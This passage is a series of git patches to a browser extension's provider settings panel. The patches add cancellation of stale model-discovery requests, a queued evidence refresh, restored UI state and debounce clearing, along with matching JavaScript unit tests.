= _doc(); if (!doc) return; @@ -8350,6 +8373,8 @@ function initializeSyncSection() { */ async function runDiscovery(provider, opts) { const options = opts || {}; + const generation = _discoveryGeneration + 1; + _discoveryGeneration = generation; if (!IN_SCOPE_PROVIDERS[provider]) { // Out-of-scope provider โ€” do nothing; legacy updateModelOptions handles it. return { ok: false, reason: 'out-of-scope', provider }; @@ -8364,6 +8389,7 @@ function initializeSyncSection() { let cachedIds = []; if (typeof global.hydrateDiscoveryCache === 'function') { try { await global.hydrateDiscoveryCache(); } catch (_) { /* noop */ } + if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); } if (typeof global.getDiscoveredModelIds === 'function') { try { cachedIds = global.getDiscoveredModelIds(provider) || []; } catch (_) { cachedIds = []; } @@ -8402,10 +8428,13 @@ function initializeSyncSection() { try { result = await global.discoverModels(provider, apiKey); } catch (err) { + if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); return { ok: false, reason: 'network-failed', provider, message: String(err && err.message || err) }; } + if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); + if (result && result.ok) { const list = (result.models || []).map(m => ({ id: m.id, @@ -8459,6 +8488,7 @@ function initializeSyncSection() { const api = { IN_SCOPE_PROVIDERS, runDiscovery, + invalidateDiscovery, scheduleDiscoveryFromKeyChange, setDiscoveryStatus, renderModelDropdown, diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 578c3003b..3619ed967 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -491,6 +491,16 @@ function makeSelect(id, values, initialValue, classes) { return select; } +function createDeferred() { + let resolve; + let reject; + const promise = new Promise((resolvePromise, rejectPromise) => { + resolve = resolvePromise; + reject = rejectPromise; + }); + return { promise, resolve, reject }; +} + function createProviderHarness(initialStorage, harnessOptions) { const options = harnessOptions || {}; const registry = Object.create(null); @@ -550,6 +560,8 @@ function createProviderHarness(initialStorage, harnessOptions) { ['form-select', 'provider-roster__native'] ); const modelName = makeSelect('modelName', [], '', ['model-combobox__native']); + const modelDiscoveryStatus = makeElement('modelDiscoveryStatus', { hidden: true }); + const refreshModelsBtn = makeElement('refreshModelsBtn', { tagName: 'button' }); const apiDetails = makeElement('apiProviderDetails'); const agentDetails = makeElement('agentProviderDetails', { hidden: true }); const agentDetailsHeading = makeElement('agentProviderDetailsHeading'); @@ -588,7 +600,8 @@ function createProviderHarness(initialStorage, harnessOptions) { const openrouterApiKey = makeElement('openrouterApiKey', { tagName: 'input' }); const lmstudioBaseUrl = makeElement('lmstudioBaseUrl', { tagName: 'input', value: 'http://localhost:1234' }); [ - providerRoster, modelProvider, modelName, apiDetails, agentDetails, + providerRoster, modelProvider, modelName, modelDiscoveryStatus, refreshModelsBtn, + apiDetails, agentDetails, agentDetailsHeading, agentNoCredentialCaption, agentEmptyState, agentInstallationStatus, agentConnectionStatus, agentAccountStatus, agentAccountHelp, agentSetupStatus, openAgentSetupGuideBtn, agentUsageTokens, agentUsageTurns, agentUsageDuration, @@ -703,11 +716,19 @@ function createProviderHarness(initialStorage, harnessOptions) { vm.runInContext(JS, context, { filename: 'extension/ui/options.js' }); context.cacheElements(); - const calls = { discovery: [], visibility: [], connection: 0 }; - context.FSBDiscoveryUI = { - IN_SCOPE_PROVIDERS: { xai: 'apiKey', gemini: 'geminiApiKey', openai: 'openaiApiKey', anthropic: 'anthropicApiKey', openrouter: 'openrouterApiKey' }, - runDiscovery(provider, options) { calls.discovery.push({ provider, options: { ...options } }); } - }; + const realDiscoveryUI = context.FSBDiscoveryUI; + const calls = { discovery: [], visibility: [], connection: 0, invalidations: 0 }; + if (options.useRealDiscovery) { + context.FSBDiscoveryUI = realDiscoveryUI; + } else { + context.FSBDiscoveryUI = { + IN_SCOPE_PROVIDERS: { xai: 'apiKey', gemini: 'geminiApiKey', openai: 'openaiApiKey', anthropic: 'anthropicApiKey', openrouter: 'openrouterApiKey' }, + runDiscovery(provider, discoveryOptions) { + calls.discovery.push({ provider, options: { ...discoveryOptions } }); + }, + invalidateDiscovery() { calls.invalidations += 1; } + }; + } context.FSBModelCombobox = { init() {}, refresh() {} }; context.updateApiKeyVisibility = (provider) => { calls.visibility.push(provider); }; context.checkApiConnection = () => { calls.connection += 1; }; @@ -726,6 +747,8 @@ function createProviderHarness(initialStorage, harnessOptions) { providerDescriptions, modelProvider, modelName, + modelDiscoveryStatus, + refreshModelsBtn, apiDetails, agentDetails, agentDetailsHeading, @@ -922,6 +945,97 @@ async function runProviderRuntimeTests() { 'cancelled saved-API timer cannot overwrite a model after switching to agent'); assert.strictEqual(delayedLoad.calls.connection, connectionBeforeDelayedLoad, 'cancelled saved-API timer cannot run an API connection check in agent mode'); + + console.log('Providers panel UI: in-flight API discovery cancellation'); + const heldDiscoveryCases = [ + { + name: 'success', + settle(deferred) { + deferred.resolve({ + ok: true, + source: 'live', + models: [{ id: 'late-model', displayName: 'Late model' }] + }); + } + }, + { + name: 'auth failure', + settle(deferred) { + deferred.resolve({ ok: false, reason: 'auth-failed', message: 'late auth failure' }); + } + } + ]; + for (const heldCase of heldDiscoveryCases) { + const held = createProviderHarness({}, { useRealDiscovery: true }); + const deferred = createDeferred(); + let discoveryCalls = 0; + held.apiKey.value = 'held-api-key'; + held.context.discoverModels = () => { + discoveryCalls += 1; + return deferred.promise; + }; + const pending = held.context.FSBDiscoveryUI.runDiscovery('xai', { + previousSelection: 'latent-api-model' + }); + assert.strictEqual(discoveryCalls, 1, heldCase.name + ' discovery begins once'); + held.context.setProviderSelection('agent', 'codex'); + held.modelName.appendChild(makeOption('latent-api-model', 'latent-api-model')); + held.modelName.value = 'latent-api-model'; + held.modelName.disabled = false; + held.refreshModelsBtn.disabled = false; + held.modelDiscoveryStatus.textContent = 'Latent API status'; + held.modelDiscoveryStatus.hidden = false; + held.modelDiscoveryStatus.classList.add('info'); + const connectionBeforeSettlement = held.calls.connection; + heldCase.settle(deferred); + const result = await pending; + assert.strictEqual(result.reason, 'cancelled', + heldCase.name + ' result is discarded after selecting an agent'); + assert.strictEqual(held.modelName.value, 'latent-api-model', + heldCase.name + ' cannot replace or clear the latent API model'); + assert.strictEqual(held.modelName.disabled, false, + heldCase.name + ' cannot disable latent API model controls'); + assert.strictEqual(held.refreshModelsBtn.disabled, false, + heldCase.name + ' cannot change the refresh control'); + assert.strictEqual(held.modelDiscoveryStatus.textContent, 'Latent API status', + heldCase.name + ' cannot replace the latent API status'); + assert.strictEqual(held.modelDiscoveryStatus.classList.contains('info'), true, + heldCase.name + ' cannot replace the latent API status class'); + assert.strictEqual(held.calls.connection, connectionBeforeSettlement, + heldCase.name + ' performs no late API connection work'); + } + + const heldHydration = createProviderHarness({}, { useRealDiscovery: true }); + const hydrationDeferred = createDeferred(); + let cacheReads = 0; + heldHydration.context.hydrateDiscoveryCache = () => hydrationDeferred.promise; + heldHydration.context.getDiscoveredModelIds = () => { + cacheReads += 1; + return ['late-cached-model']; + }; + const pendingHydration = heldHydration.context.FSBDiscoveryUI.runDiscovery('xai', { + previousSelection: 'latent-cache-model' + }); + heldHydration.context.setProviderSelection('agent', 'codex'); + heldHydration.modelName.appendChild(makeOption('latent-cache-model', 'latent-cache-model')); + heldHydration.modelName.value = 'latent-cache-model'; + heldHydration.modelName.disabled = false; + heldHydration.refreshModelsBtn.disabled = false; + heldHydration.modelDiscoveryStatus.textContent = 'Latent cache status'; + heldHydration.modelDiscoveryStatus.hidden = false; + const connectionBeforeHydration = heldHydration.calls.connection; + hydrationDeferred.resolve(); + const hydrationResult = await pendingHydration; + assert.strictEqual(hydrationResult.reason, 'cancelled', + 'cache hydration result is discarded after selecting an agent'); + assert.strictEqual(cacheReads, 0, + 'cancelled cache hydration performs no late cache read or model render'); + assert.strictEqual(heldHydration.modelName.value, 'latent-cache-model'); + assert.strictEqual(heldHydration.modelName.disabled, false); + assert.strictEqual(heldHydration.refreshModelsBtn.disabled, false); + assert.strictEqual(heldHydration.modelDiscoveryStatus.textContent, 'Latent cache status'); + assert.strictEqual(heldHydration.calls.connection, connectionBeforeHydration, + 'cancelled cache hydration performs no late API connection work'); } function visibleRecommendationIds(harness) { From 50e1d394d03afe7825d6051a0ec03ed9f6e4f7a8 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:49:19 -0500 Subject: [PATCH 069/581] fix(58): WR-03 queue storage evidence refresh --- extension/ui/options.js | 19 ++++++++++++++++- tests/providers-panel-ui.test.js | 36 ++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+), 1 deletion(-) diff --git a/extension/ui/options.js b/extension/ui/options.js index 4be83b1cb..20a0fe79f 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -132,6 +132,7 @@ const providerPanelState = { let providerEvidenceRefreshPromise = null; let providerEvidenceRefreshDebounceHandle = null; +let providerEvidenceRefreshQueued = false; const PROVIDER_EVIDENCE_TIMEOUT_MS = 5000; let providerSettingsModelLoadTimer = null; let providerSettingsLoadGeneration = 0; @@ -763,18 +764,34 @@ function refreshProviderEvidence({ announce = false } = {}) { renderProviderEvidence(); renderSelectedAgentDetails(); providerEvidenceRefreshPromise = null; + if (providerEvidenceRefreshQueued) { + providerEvidenceRefreshQueued = false; + refreshProviderEvidence(); + } }); return providerEvidenceRefreshPromise; } function scheduleProviderEvidenceRefresh() { + if (providerEvidenceRefreshPromise) { + if (providerEvidenceRefreshDebounceHandle !== null) { + clearTimeout(providerEvidenceRefreshDebounceHandle); + providerEvidenceRefreshDebounceHandle = null; + } + providerEvidenceRefreshQueued = true; + return; + } if (providerEvidenceRefreshDebounceHandle !== null) { clearTimeout(providerEvidenceRefreshDebounceHandle); } providerEvidenceRefreshDebounceHandle = setTimeout(() => { providerEvidenceRefreshDebounceHandle = null; - refreshProviderEvidence(); + if (providerEvidenceRefreshPromise) { + providerEvidenceRefreshQueued = true; + } else { + refreshProviderEvidence(); + } }, 100); } diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 3619ed967..cf6d9137e 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -796,6 +796,11 @@ function createProviderHarness(initialStorage, harnessOptions) { const callbacks = pendingRuntimeCallbacks.splice(0); callbacks.forEach((callback) => deliverRuntime(callback, response, error)); }, + resolveNextRuntime(response, error) { + const callback = pendingRuntimeCallbacks.shift(); + assert.ok(callback, 'a held runtime callback is available'); + deliverRuntime(callback, response, error); + }, emitStorage(changes, area) { storageListeners.slice().forEach((listener) => listener(changes, area)); }, @@ -1398,6 +1403,37 @@ async function runProviderEvidenceTests() { assert.strictEqual(selectedRadio(coalesced).dataset.providerId, 'opencode', 'storage, section, and manual refreshes all preserve in-form selection'); + const queuedStorage = createProviderHarness({}, { + holdRuntime: true, + heldTimerDelays: [5000] + }); + queuedStorage.context.setupEventListeners(); + const heldFirstRefresh = queuedStorage.context.refreshProviderEvidence(); + queuedStorage.emitStorage({ fsbAgentProviders: { newValue: {} } }, 'local'); + queuedStorage.emitStorage({ fsbAgentRegistry: { newValue: {} } }, 'session'); + await flushHarness(); + assert.strictEqual(queuedStorage.runtimeCalls.length, 1, + 'storage invalidations do not join direct callers or start a parallel request'); + queuedStorage.resolveNextRuntime({ + success: true, + clients: { 'claude-code': { live: {} } } + }); + await heldFirstRefresh; + assert.strictEqual(queuedStorage.runtimeCalls.length, 2, + 'local and session invalidations queue exactly one post-settlement refresh'); + queuedStorage.resolveNextRuntime({ + success: true, + clients: { codex: { live: {} } } + }); + await flushHarness(); + assert.strictEqual(queuedStorage.runtimeCalls.length, 2, + 'queued storage refresh performs exactly two total runtime calls'); + assert.deepStrictEqual(visibleRecommendationIds(queuedStorage), ['codex'], + 'the queued response wins as the final recommendation'); + assert.strictEqual(evidenceBadge(queuedStorage, 'codex').textContent, 'Connected now'); + assert.strictEqual(evidenceBadge(queuedStorage, 'claude-code').textContent, 'Not installed', + 'the first response cannot overwrite the queued final view'); + console.log('Providers panel UI: bounded held-runtime recovery'); const timedOut = createProviderHarness({}, { holdRuntime: true }); timedOut.context.setProviderSelection('agent', 'codex', { markDirty: false }); From 46bdfe43cadd2d3ed7d6a9fb61b65d319281e9af Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:51:50 -0500 Subject: [PATCH 070/581] fix(58): IN-01 close provider detail card --- extension/ui/control_panel.html | 1 + tests/providers-panel-ui.test.js | 29 +++++++++++++++++++++++++++++ 2 files changed, 30 insertions(+) diff --git a/extension/ui/control_panel.html b/extension/ui/control_panel.html index d2a034958..a5bc20dc5 100644 --- a/extension/ui/control_panel.html +++ b/extension/ui/control_panel.html @@ -560,6 +560,7 @@

Billing

+ diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index cf6d9137e..fd6c2ec3c 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -56,6 +56,30 @@ function extractElement(source, tagName, id) { throw new Error('Unclosed #' + id); } +function assertBalancedHtmlFragment(fragment, label) { + const voidTags = new Set([ + 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', + 'link', 'meta', 'param', 'source', 'track', 'wbr' + ]); + const stack = []; + const source = fragment.replace(//g, ''); + const tags = /<\/?([a-z][a-z0-9:-]*)\b[^>]*>/gi; + let match; + while ((match = tags.exec(source))) { + const token = match[0]; + const tag = match[1].toLowerCase(); + if (token.startsWith(''); + assert.strictEqual(tag, open.tag, + label + ' closes while <' + open.tag + '> from offset ' + open.offset + ' is open'); + } else if (!voidTags.has(tag) && !token.endsWith('/>')) { + stack.push({ tag, offset: match.index }); + } + } + assert.deepStrictEqual(stack, [], label + ' has no unclosed tags'); +} + const HTML = read('extension/ui/control_panel.html'); const CSS = read('extension/ui/options.css'); const JS = read('extension/ui/options.js'); @@ -66,6 +90,11 @@ console.log('Providers panel UI: canonical route and static roster'); assert.match(HTML, /data-section="providers"/); assert.match(HTML, /
/); assert.match(HTML, /

Providers<\/h2>/); +const providersSection = extractElement(HTML, 'section', 'providers'); +assertBalancedHtmlFragment(providersSection, '#providers section'); +assert.match(providersSection, + /
[\s\S]*?<\/div>\s*<\/section>$/, + 'Providers detail card is explicitly closed before the section'); assert.match( HTML, /Choose how FSB runs AI tasks\. API providers use keys stored locally; agent CLIs use their existing local sign-in\./ From a0ba3e62170e2104126030b8a655fcbd5ae0706d Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:56:34 -0500 Subject: [PATCH 071/581] fix(58): WR-02 restore cancelled discovery UI --- extension/ui/options.js | 254 ++++++++++++++++++++----------- tests/providers-panel-ui.test.js | 34 +++-- 2 files changed, 189 insertions(+), 99 deletions(-) diff --git a/extension/ui/options.js b/extension/ui/options.js index 20a0fe79f..12a29b4e5 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -830,9 +830,11 @@ function runApiProviderSelectionPath(provider, previousSelection, silentIfNoKey) updateApiKeyVisibility(provider); } -function invalidateProviderDiscovery() { +function invalidateProviderDiscovery(restoreUi) { const ui = (typeof globalThis !== 'undefined') ? globalThis.FSBDiscoveryUI : null; - if (ui && typeof ui.invalidateDiscovery === 'function') ui.invalidateDiscovery(); + if (ui && typeof ui.invalidateDiscovery === 'function') { + ui.invalidateDiscovery({ restoreUi: restoreUi === true }); + } } function cancelPendingProviderSettingsModelLoad() { @@ -855,7 +857,9 @@ function setProviderSelection(kind, id, { markDirty = true } = {}) { const previousId = previousKind === 'agent' ? providerPanelState.agentProviderId : elements.modelProvider?.value; - if (previousKind !== kind || previousId !== id) invalidateProviderDiscovery(); + if (previousKind !== kind || previousId !== id) { + invalidateProviderDiscovery(kind === 'agent'); + } if (kind === 'api') { const previousSelection = elements.modelName?.value; @@ -8182,6 +8186,7 @@ function initializeSyncSection() { let _currentModels = []; let _currentSearchQuery = ''; let _discoveryGeneration = 0; + let _activeDiscoveryRun = null; function _doc() { return (typeof document !== 'undefined') ? document : null; } @@ -8194,8 +8199,66 @@ function initializeSyncSection() { return (el && typeof el.value === 'string') ? el.value.trim() : ''; } - function invalidateDiscovery() { + function _captureDiscoveryUiState() { + const doc = _doc(); + if (!doc) return null; + const select = doc.getElementById('modelName'); + const refresh = doc.getElementById('refreshModelsBtn'); + const status = doc.getElementById('modelDiscoveryStatus'); + const optionSource = select && (select.options || select.children); + return { + options: optionSource ? Array.prototype.map.call(optionSource, option => ({ + value: option.value, + textContent: option.textContent, + disabled: option.disabled === true + })) : [], + value: select ? select.value : '', + selectDisabled: select ? select.disabled === true : false, + refreshDisabled: refresh ? refresh.disabled === true : false, + statusText: status ? status.textContent : '', + statusHidden: status ? status.hidden === true : true, + statusClasses: status && status.classList + ? ['info', 'warning', 'error', 'loading'].filter(name => status.classList.contains(name)) + : [] + }; + } + + function _restoreDiscoveryUiState(snapshot) { + const doc = _doc(); + if (!doc || !snapshot) return; + const select = doc.getElementById('modelName'); + const refresh = doc.getElementById('refreshModelsBtn'); + const status = doc.getElementById('modelDiscoveryStatus'); + if (select) { + select.innerHTML = ''; + snapshot.options.forEach(saved => { + const option = doc.createElement('option'); + option.value = saved.value; + option.textContent = saved.textContent; + option.disabled = saved.disabled; + select.appendChild(option); + }); + select.value = snapshot.value; + select.disabled = snapshot.selectDisabled; + } + if (refresh) refresh.disabled = snapshot.refreshDisabled; + if (status) { + ['info', 'warning', 'error', 'loading'].forEach(name => status.classList.remove(name)); + snapshot.statusClasses.forEach(name => status.classList.add(name)); + status.textContent = snapshot.statusText; + status.hidden = snapshot.statusHidden; + if (snapshot.statusHidden) status.setAttribute('hidden', ''); + else status.removeAttribute('hidden'); + } + } + + function invalidateDiscovery(options) { + const activeRun = _activeDiscoveryRun; _discoveryGeneration += 1; + _activeDiscoveryRun = null; + if (options && options.restoreUi === true && activeRun) { + _restoreDiscoveryUiState(activeRun.snapshot); + } } function _isDiscoveryCurrent(generation) { @@ -8390,106 +8453,117 @@ function initializeSyncSection() { */ async function runDiscovery(provider, opts) { const options = opts || {}; - const generation = _discoveryGeneration + 1; - _discoveryGeneration = generation; if (!IN_SCOPE_PROVIDERS[provider]) { // Out-of-scope provider โ€” do nothing; legacy updateModelOptions handles it. return { ok: false, reason: 'out-of-scope', provider }; } + const priorSnapshot = _activeDiscoveryRun && _activeDiscoveryRun.snapshot; + const generation = _discoveryGeneration + 1; + _discoveryGeneration = generation; + _activeDiscoveryRun = { + generation, + snapshot: priorSnapshot || _captureDiscoveryUiState() + }; - const apiKey = _getInputValueForProvider(provider); - if (!apiKey) { - // No key yet. Phase 232: prefer the persistent discovery cache - // (chrome.storage.local) so a list discovered in a prior session is - // shown immediately on reopen. Fall back to FALLBACK_MODELS only when - // the persistent cache is empty/expired. - let cachedIds = []; - if (typeof global.hydrateDiscoveryCache === 'function') { - try { await global.hydrateDiscoveryCache(); } catch (_) { /* noop */ } - if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); - } - if (typeof global.getDiscoveredModelIds === 'function') { - try { cachedIds = global.getDiscoveredModelIds(provider) || []; } catch (_) { cachedIds = []; } - } - if (cachedIds.length) { - const list = cachedIds.map(id => ({ id, displayName: id })); - renderModelDropdown(list, options.previousSelection); - setDiscoveryStatus(options.silentIfNoKey - ? { kind: 'hidden' } - : { kind: 'info', text: list.length + ' models (cached)' }); - return { ok: true, models: list, source: 'persistent-cache', provider }; + try { + const apiKey = _getInputValueForProvider(provider); + if (!apiKey) { + // No key yet. Phase 232: prefer the persistent discovery cache + // (chrome.storage.local) so a list discovered in a prior session is + // shown immediately on reopen. Fall back to FALLBACK_MODELS only when + // the persistent cache is empty/expired. + let cachedIds = []; + if (typeof global.hydrateDiscoveryCache === 'function') { + try { await global.hydrateDiscoveryCache(); } catch (_) { /* noop */ } + if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); + } + if (typeof global.getDiscoveredModelIds === 'function') { + try { cachedIds = global.getDiscoveredModelIds(provider) || []; } catch (_) { cachedIds = []; } + } + if (cachedIds.length) { + const list = cachedIds.map(id => ({ id, displayName: id })); + renderModelDropdown(list, options.previousSelection); + setDiscoveryStatus(options.silentIfNoKey + ? { kind: 'hidden' } + : { kind: 'info', text: list.length + ' models (cached)' }); + return { ok: true, models: list, source: 'persistent-cache', provider }; + } + if (options.silentIfNoKey) { + const fallbackTable = global.FALLBACK_MODELS || {}; + const list = (fallbackTable[provider] || []).map(m => ({ id: m.id, displayName: m.name || m.id })); + renderModelDropdown(list, options.previousSelection); + setDiscoveryStatus({ kind: 'hidden' }); + } else { + _renderFallback(provider, 'Enter an API key to discover live models'); + } + return { ok: false, reason: 'missing-api-key', provider }; } - if (options.silentIfNoKey) { - const fallbackTable = global.FALLBACK_MODELS || {}; - const list = (fallbackTable[provider] || []).map(m => ({ id: m.id, displayName: m.name || m.id })); - renderModelDropdown(list, options.previousSelection); - setDiscoveryStatus({ kind: 'hidden' }); - } else { - _renderFallback(provider, 'Enter an API key to discover live models'); + + if (options.force && typeof global.clearDiscoveryCache === 'function') { + try { global.clearDiscoveryCache(provider); } catch (_) { /* noop */ } } - return { ok: false, reason: 'missing-api-key', provider }; - } - if (options.force && typeof global.clearDiscoveryCache === 'function') { - try { global.clearDiscoveryCache(provider); } catch (_) { /* noop */ } - } + if (typeof global.discoverModels !== 'function') { + _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); + return { ok: false, reason: 'discovery-unavailable', provider }; + } - if (typeof global.discoverModels !== 'function') { - _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); - return { ok: false, reason: 'discovery-unavailable', provider }; - } + _renderLoading(); - _renderLoading(); + let result; + try { + result = await global.discoverModels(provider, apiKey); + } catch (err) { + if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); + _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); + return { ok: false, reason: 'network-failed', provider, message: String(err && err.message || err) }; + } - let result; - try { - result = await global.discoverModels(provider, apiKey); - } catch (err) { if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); + + if (result && result.ok) { + const list = (result.models || []).map(m => ({ + id: m.id, + displayName: m.displayName || m.name || m.id, + name: m.name, + description: m.description, + provider + })); + const chosen = renderModelDropdown(list, options.previousSelection); + _setControlsDisabled(false); + const cached = result.source === 'cache'; + const text = cached + ? list.length + ' models (cached)' + : list.length + ' models discovered'; + setDiscoveryStatus({ kind: 'info', text }); + // Phase 232: when the user's saved model is not in the discovered list, + // renderModelDropdown now keeps it selected as a synthetic "(saved)" + // entry, so chosen === previousSelection and no reassignment happens. + return result; + } + + // Failure path + const reason = result && result.reason; + if (reason === 'auth-failed') { + _renderAuthFailed(result && result.message); + return result; + } + if (reason === 'network-failed' || reason === 'timeout' || reason === 'empty-response') { + _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); + return result; + } + if (reason === 'missing-api-key') { + _renderFallback(provider, 'Enter an API key to discover live models'); + return result; + } + // Unknown failure โ€” best-effort fallback _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); - return { ok: false, reason: 'network-failed', provider, message: String(err && err.message || err) }; - } - - if (!_isDiscoveryCurrent(generation)) return _cancelledDiscoveryResult(provider); - - if (result && result.ok) { - const list = (result.models || []).map(m => ({ - id: m.id, - displayName: m.displayName || m.name || m.id, - name: m.name, - description: m.description, - provider - })); - const chosen = renderModelDropdown(list, options.previousSelection); - _setControlsDisabled(false); - const cached = result.source === 'cache'; - const text = cached - ? list.length + ' models (cached)' - : list.length + ' models discovered'; - setDiscoveryStatus({ kind: 'info', text }); - // Phase 232: when the user's saved model is not in the discovered list, - // renderModelDropdown now keeps it selected as a synthetic "(saved)" - // entry, so chosen === previousSelection and no reassignment happens. - return result; - } - - // Failure path - const reason = result && result.reason; - if (reason === 'auth-failed') { - _renderAuthFailed(result && result.message); - return result; - } - if (reason === 'network-failed' || reason === 'timeout' || reason === 'empty-response') { - _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); - return result; - } - if (reason === 'missing-api-key') { - _renderFallback(provider, 'Enter an API key to discover live models'); - return result; + return result || { ok: false, reason: 'unknown', provider }; + } finally { + if (_activeDiscoveryRun && _activeDiscoveryRun.generation === generation) { + _activeDiscoveryRun = null; + } } - // Unknown failure โ€” best-effort fallback - _renderFallback(provider, 'Using fallback models โ€” discovery unavailable'); - return result || { ok: false, reason: 'unknown', provider }; } function scheduleDiscoveryFromKeyChange(provider, opts) { diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index fd6c2ec3c..3c433c6ba 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -1008,11 +1008,6 @@ async function runProviderRuntimeTests() { discoveryCalls += 1; return deferred.promise; }; - const pending = held.context.FSBDiscoveryUI.runDiscovery('xai', { - previousSelection: 'latent-api-model' - }); - assert.strictEqual(discoveryCalls, 1, heldCase.name + ' discovery begins once'); - held.context.setProviderSelection('agent', 'codex'); held.modelName.appendChild(makeOption('latent-api-model', 'latent-api-model')); held.modelName.value = 'latent-api-model'; held.modelName.disabled = false; @@ -1020,6 +1015,23 @@ async function runProviderRuntimeTests() { held.modelDiscoveryStatus.textContent = 'Latent API status'; held.modelDiscoveryStatus.hidden = false; held.modelDiscoveryStatus.classList.add('info'); + const pending = held.context.FSBDiscoveryUI.runDiscovery('xai', { + previousSelection: 'latent-api-model' + }); + assert.strictEqual(discoveryCalls, 1, heldCase.name + ' discovery begins once'); + assert.strictEqual(held.modelDiscoveryStatus.textContent, 'Discovering models...', + heldCase.name + ' enters the normal API loading state before cancellation'); + held.context.setProviderSelection('agent', 'codex'); + assert.strictEqual(held.modelName.value, 'latent-api-model', + heldCase.name + ' agent selection restores the latent API model'); + assert.strictEqual(held.modelDiscoveryStatus.textContent, 'Latent API status', + heldCase.name + ' agent selection restores the latent API status'); + assert.strictEqual(held.modelDiscoveryStatus.classList.contains('info'), true, + heldCase.name + ' agent selection restores the latent API status class'); + assert.strictEqual(held.modelName.disabled, false, + heldCase.name + ' agent selection restores the model control'); + assert.strictEqual(held.refreshModelsBtn.disabled, false, + heldCase.name + ' agent selection restores the refresh control'); const connectionBeforeSettlement = held.calls.connection; heldCase.settle(deferred); const result = await pending; @@ -1047,16 +1059,20 @@ async function runProviderRuntimeTests() { cacheReads += 1; return ['late-cached-model']; }; - const pendingHydration = heldHydration.context.FSBDiscoveryUI.runDiscovery('xai', { - previousSelection: 'latent-cache-model' - }); - heldHydration.context.setProviderSelection('agent', 'codex'); heldHydration.modelName.appendChild(makeOption('latent-cache-model', 'latent-cache-model')); heldHydration.modelName.value = 'latent-cache-model'; heldHydration.modelName.disabled = false; heldHydration.refreshModelsBtn.disabled = false; heldHydration.modelDiscoveryStatus.textContent = 'Latent cache status'; heldHydration.modelDiscoveryStatus.hidden = false; + const pendingHydration = heldHydration.context.FSBDiscoveryUI.runDiscovery('xai', { + previousSelection: 'latent-cache-model' + }); + heldHydration.context.setProviderSelection('agent', 'codex'); + assert.strictEqual(heldHydration.modelName.value, 'latent-cache-model', + 'agent selection preserves the latent model during cache hydration'); + assert.strictEqual(heldHydration.modelDiscoveryStatus.textContent, 'Latent cache status', + 'agent selection preserves the latent status during cache hydration'); const connectionBeforeHydration = heldHydration.calls.connection; hydrationDeferred.resolve(); const hydrationResult = await pendingHydration; From 403a1047ca62576424a2a2f659922c02bab3080b Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 18:03:07 -0500 Subject: [PATCH 072/581] fix(58): cancel pending API discovery debounce --- extension/ui/options.js | 12 ++++++++++++ tests/providers-panel-ui.test.js | 32 ++++++++++++++++++++++++++++++++ 2 files changed, 44 insertions(+) diff --git a/extension/ui/options.js b/extension/ui/options.js index 12a29b4e5..7aff48a80 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -8254,6 +8254,11 @@ function initializeSyncSection() { function invalidateDiscovery(options) { const activeRun = _activeDiscoveryRun; + Object.keys(_debounceTimers).forEach(provider => { + const timer = _debounceTimers[provider]; + if (timer !== null && timer !== undefined) clearTimeout(timer); + _debounceTimers[provider] = null; + }); _discoveryGeneration += 1; _activeDiscoveryRun = null; if (options && options.restoreUi === true && activeRun) { @@ -8572,6 +8577,13 @@ function initializeSyncSection() { if (_debounceTimers[provider]) clearTimeout(_debounceTimers[provider]); _debounceTimers[provider] = setTimeout(() => { _debounceTimers[provider] = null; + const doc = _doc(); + const activeProvider = doc && doc.getElementById('modelProvider'); + if (providerPanelState.providerKind !== 'api' + || !activeProvider + || activeProvider.value !== provider) { + return; + } runDiscovery(provider, { force: true }); }, wait); } diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 3c433c6ba..56a673c66 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -1086,6 +1086,38 @@ async function runProviderRuntimeTests() { assert.strictEqual(heldHydration.modelDiscoveryStatus.textContent, 'Latent cache status'); assert.strictEqual(heldHydration.calls.connection, connectionBeforeHydration, 'cancelled cache hydration performs no late API connection work'); + + const pendingDebounce = createProviderHarness({}, { + useRealDiscovery: true, + heldTimerDelays: [500] + }); + let debouncedDiscoveryCalls = 0; + let debouncedCacheClears = 0; + pendingDebounce.context.discoverModels = () => { + debouncedDiscoveryCalls += 1; + return Promise.resolve({ ok: true, source: 'live', models: [] }); + }; + pendingDebounce.context.clearDiscoveryCache = () => { + debouncedCacheClears += 1; + }; + pendingDebounce.modelName.appendChild(makeOption('debounce-latent-model', 'debounce-latent-model')); + pendingDebounce.modelName.value = 'debounce-latent-model'; + 